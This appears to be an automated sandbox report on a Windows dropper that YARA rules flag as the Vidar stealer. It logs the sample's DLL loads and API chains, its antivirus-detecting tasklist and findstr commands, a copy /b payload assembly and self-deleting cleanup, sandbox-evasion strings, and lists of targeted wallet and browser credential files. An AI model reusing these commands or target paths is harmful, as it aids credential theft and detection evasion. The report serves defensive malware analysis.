Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 9EI7wrGs4K.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: 9EI7wrGs4K.exe

Static PE information: real checksum: 0xd9d82 should be: 0xdfd9a

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B00DE6 push ecx; ret

10_2_00B00DF9

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B726DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		10_2_00B726DD
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00AFFC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		10_2_00AFFC7C

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_10-105013

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Dry.com, 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: Dry.com, 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DLLVMCHECK.DLLDIR_WATCH.DLLAP@

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

API coverage: 3.7 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 6368

Thread sleep count: 85 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00B4DC54
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B5A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00B5A087
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B5A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00B5A1E2
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00B4E472
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B5A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	10_2_00B5A570
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B566DC FindFirstFileW,FindNextFileW,FindClose,	10_2_00B566DC
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B1C622 FindFirstFileExW,	10_2_00B1C622
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B573D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	10_2_00B573D4
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B57333 FindFirstFileW,FindClose,	10_2_00B57333
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00B4D921

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00AE5FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00AE5FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: Dry.com, 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B5F4FF BlockInput,

10_2_00B5F4FF

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00AE338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00AE338B

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B05058 mov eax, dword ptr fs:[00000030h]

10_2_00B05058

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B420AA GetLengthSid,GetProcessHeap,HeapAlloc,CopySid,GetProcessHeap,HeapFree,

10_2_00B420AA

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B12992 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00B12992
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B00BAF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00B00BAF
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B00D45 SetUnhandledExceptionFilter,	10_2_00B00D45
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B00F91 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00B00F91

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Dry.com PID: 7548, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

10_2_00B41B4D

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00AE338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00AE338B

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B4BBED SendInput,keybd_event,

10_2_00B4BBED

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B4EC9E mouse_event,

10_2_00B4EC9E

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "profiles" Organizing	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\245347\Dry.com Dry.com b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\245347\Dry.com" & rd /s /q "C:\ProgramData\OHVS0RIMGLNY" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B414AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

10_2_00B414AE

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B41FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00B41FB0

Source: Dry.com, 0000000A.00000000.1691722119.0000000000BA3000.00000002.00000001.01000000.00000007.sdmp, Dry.com.1.dr, Volunteer.0.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Dry.com	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B00A08 cpuid

10_2_00B00A08

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B3E5F4 GetLocalTime,

10_2_00B3E5F4

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B3E652 GetUserNameW,

10_2_00B3E652

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B1BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

10_2_00B1BCD2

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 10.2.Dry.com.3f90000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842371095.0000000003C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842833283.000000000165D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2461862261.0000000003F91000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842430157.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842551934.0000000003F9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Dry.com PID: 7548, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: MultiDoge
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Dry.com, 0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\key4.db	Jump to behavior
